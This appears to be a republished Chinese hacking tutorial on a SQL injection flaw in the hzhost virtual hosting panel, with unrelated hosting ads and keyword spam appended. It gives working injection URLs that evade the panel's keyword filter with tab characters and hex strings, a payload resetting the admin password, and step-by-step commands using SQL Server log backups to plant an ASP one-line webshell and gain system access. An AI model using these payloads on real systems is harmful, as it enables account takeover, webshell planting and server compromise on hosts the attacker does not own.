语句hzhost虚拟主机破绽[精彩]

hzhost  时间:2021-01-25  阅读:()

hzhost虚拟主机漏洞

漏洞存在于\hzhost\hzhost_master\control\ot2_mng\ot2_lst.asp文件中

先来分析该文件

-------------------------13-15行

querytype=SafeRequest("querytype") //saferequest函数接受数据if chk_int(querytype)=false then //检查是否是整数

ErrMsg="<font color=#ff0000>对不起</font>非法操作 . . . "-------------------------37-42行

---------------------------elseif querytype=5 then //如果类型为5。就接受qu1数据qu1=trim(SafeRequest("qu1") ) //saferequest函数接受数据他自己定义的saferequest函数if qu1="" then //不能为空call errorpage(-2, "对不起请选择参数 ")end ifqstring=" and s_regstt="&qu1&" " //这里是关键 qu1没有用单引号包围

-------------------------62-65行

---------------------------qu7=trim(SafeRequest("qu7") ) //saferequest函数接受数据if qu7<>"" thenqstring2=" and u_nme=' "&qu7&"' " //这里被单引号包围了。 这里被包围了所以这里成了死点 

end if

--------------------------117行

-----------------------------query="select * from v_ot2lst where

(s_unme=' "&session("usrname")&"' or u_fatstr like

'%, "&session("usrname")&",%' ) "&qstring&qstring2&"order by "&orderstring

//这里就放入了语句开始查询!了

我们来看看saferequest究竟是怎么写的。

------------------incs/config.asp中

-------------------------

Function SafeRequest(ParaName)

Dim ParaValue

ParaValue=Request(ParaName) //获取数据if IsNumeric(ParaValue) then //如果是数字

SafeRequest=ParaValue //那就不过滤直接赋值exit Functionelse

ParaValuetemp=lcase(ParaValue) //如果不是数字先把接到的数据全部转为小写tempvalue="select | insert |delete from| ' |count( |droptable|update |truncate |asc( |mid( |char( |xp_cmdshell |execmaster|net localgroup administrators|net user| or | and|%20from"

//定义要过滤的字符他过滤方式有问题。 。 。没有过滤*%--temps=split(tempvalue, "|") //转为一维数组for mycount=0 to ubound(temps) //循环读数据

if Instr(ParaValuetemp, temps(mycount) ) > 0 then //判断用户提交的数据是否包含了非法字符。call errorpage(-2, "非法请求   ") //如果有则弹出提示 response.endend ifnext

SafeRequest=ParaValueend if

End function

-------------------------------------

来说说我的思路 由于上面过滤了单引号所以导致被单引号包围了的变量都隔绝了注入漏洞 我们只有找到没有被单引号包围的变量才能突破过滤 因为mssql太人性化了。 。 。哈哈 

根据ot2_lst.asp中117行的查询语句我构造了如下语句querytype=5&qu7=1&ordernum=32&qu1=1 ; {我们的语

句} ;select%09*%09from%09v_ot2lst where s_regstt=1

这里是多句执行执行了3句。 。我们可以放入更多的语句一次执行就看个人的爱好了。  

放到数据库中就成了select * from v_ot2lst where (s_unme='username' or u_fatstrlike '%,username,%' ) and s_regstt={我们的语句}//这里没有单引号。 and u_nme=' 1'//这里有 order by s_addtme desc

我们的语句构造原则不能出现单引号。空格用%09代替

示范语句

UPDATE%09[memlst]%09SET%09u_pss=0x6531306164633339343962613

539616262653536653035376632306638383365 WHEREu_nme=0x61646D696E

//看仔细 saferequest过滤的是update空格

我们这里是update%09,就逃过了过滤。 u_pss经过编码了。编码方式为varchar

这条语句就是把用户admin的密码修改为123456

下面我们来进行实战

首先注册一个用户。登陆上去。访问http://www.xxxxx.com/control/ot2_mng/ot2_lst.asp?querytype=5&qu7=1&ordernum=32&qu1=1 ;declare @a sysname,@svarchar%09(4000)%09select%09@a=db_name() ,@s=0x443A5C687A686F73745C687A686F73745F6D61737465725C312E617370 backup log @ato disk=@s;select%09*%09from%09v_ot2lst where s_regstt=1这样就直接把管理员的密码修改为123456了。

为了避免破坏我还是修改自己的密码。我刚才的密码为123123我们改为123456

我们刷新一下看看。因为刷新后他又检查了我的用户名和密码。由于不一致所以提示再次登陆

OK了。 。 我下面来演示备份挂马tempvalue="select | insert |delete from| ' |count( |droptable|update |truncate |asc( |mid( |char( |xp_cmdshell |execmaster|net localgroup administrators|net user| or | and|%20from"

备份木马语句create table [dbo] . [banlg] ([cmd] [image] )--

第一句没有出现非法字符直接放上去

declare @a sysname,@svarchar%09(4000)%09select%09@a=db_name() ,@s=0x7969616F6C75backup log @a to disk=@s with init--

过滤了select 《〈 〈 〈注意有个空格。我们就用%09代替就逃过了char(也是被过滤的。我们在空间弄个空格 mssql还是会认识的。哈哈我爱他。

我已经拿到系统权限了。刚才删除的1.asp是前面弄的。我先删了。insert%09into%09banlg(cmd)values(0x3C25657865637574652872657175657374282261222929253E) ;--

我说我怎么成管理员了呢。 。是先前弄的 session还没消失declare @a sysname,@svarchar%09(4000)%09select%09@a=db_name() ,@s=0x443A5C687A686F73745C687A686F73745F6D61737465725C312E617370 backup log @ato disk=@s--

忘记了。

我们刚才看到了 1.asp又被挂了上去。访问看看。

无语肯定又是被截断了。 。

再来搞一遍。

Drop table [banlg]--

第一步:create table [dbo] . [shit_tmp] ([cmd] [image] )--

第二步

declare @a sysname,@snvarchar%09(4000)%09select%09@a=db_name() ,@s=0x7900690061006F006C007500 backup log@a to disk=@s with init,no_truncate--第三步insert%09into%09[shit_tmp] (cmd)values(0x3C25657865637574652872657175657374282261222929253E)--

第四步declare @a sysname,@snvarchar%09(4000)%09select%09@a=db_name() ,@s=0x44003A005C0068007A0068006F00730074005C0068007A0068006F00730074005F006D00610073007400650072005C0031002E00610073007000 backup log @ato disk=@s--

第五步

Drop table [shit_tmp]--

我们已经看到一句话木马躺在那里了呵呵。

好了怎么拿系统权限后面该如何下去。请看我前几天爆的那个漏洞。 以及利用方法。

动画到此结束谢谢观赏 http://www.xxb ing.com

QQ178737315

Contabo美国独立日促销,独立服7月€3.99/月

Contabo自4月份在新加坡增设数据中心以后,这才短短的过去不到3个月,现在同时新增了美国纽约和西雅图数据中心。可见Contabo加速了全球布局,目前可选的数据中心包括:德国本土、美国东部(纽约)、美国西部(西雅图)、美国中部(圣路易斯)和亚洲的新加坡数据中心。为了庆祝美国独立日和新增数据中心,自7月4日开始,购买美国地区的VPS、VDS和独立服务器均免设置费。Contabo是德国的老牌服务商,...

Hostio€5/月KVM-2GB/25GB/5TB/荷兰机房

Hostio是一家成立于2006年的国外主机商,提供基于KVM架构的VPS主机,AMD EPYC CPU,NVMe硬盘,1-10Gbps带宽,最低月付5欧元起。商家采用自己的网络AS208258,宿主机采用2 x AMD Epyc 7452 32C/64T 2.3Ghz CPU,16*32GB内存,4个Samsung PM983 NVMe SSD,提供IPv4+IPv6。下面列出几款主机配置信息。...

Ceraus24元/月,国庆促销 香港云上新首月五折

Ceraus数据成立于2020年底,基于KVM虚拟架构技术;主营提供香港CN2、美国洛杉矶CN2、日本CN2的相关VPS云主机业务。喜迎国庆香港上新首月五折不限新老用户,cera机房,线路好,机器稳,适合做站五折优惠码:gqceraus 续费七五折官方网站:https://www.ceraus.com香港云内存​CPU硬盘流量宽带优惠价格购买地址香港云2G2核40G不限5Mbps24元/月点击购买...

hzhost为你推荐
笔记本4g内存条价格笔记本电脑换个4G内存条得多少钱盗版win8.1升级win10盗版win8怎么升级到win10正版电脑管家和360哪个好360和电脑管家哪个好东莞电信宽带东莞电信光纤宽带包月费用多少 个人公司家用宽带办理360云盘关闭360云盘,关闭了吗,还能用吗,推荐一个其他云盘广东联通彩铃广东联通炫铃 怎么定制彩铃便宜的反义词便宜的反义词。哪个快递最便宜什么快递最便宜省外最便宜的汽车中国最便宜的汽车是多少钱占便宜人们经常说‘吃亏就是占便宜’到底是什么意思呢?
中国万网域名注册 stablehost highfrequency lunarpages 42u机柜尺寸 天互数据 有益网络 阿里云浏览器 河南移动邮件系统 柚子舍官网 老左来了 ntfs格式分区 isp服务商 网通服务器托管 支付宝扫码领红包 环聊 免费邮件服务器 国内域名 atom处理器 大化网 更多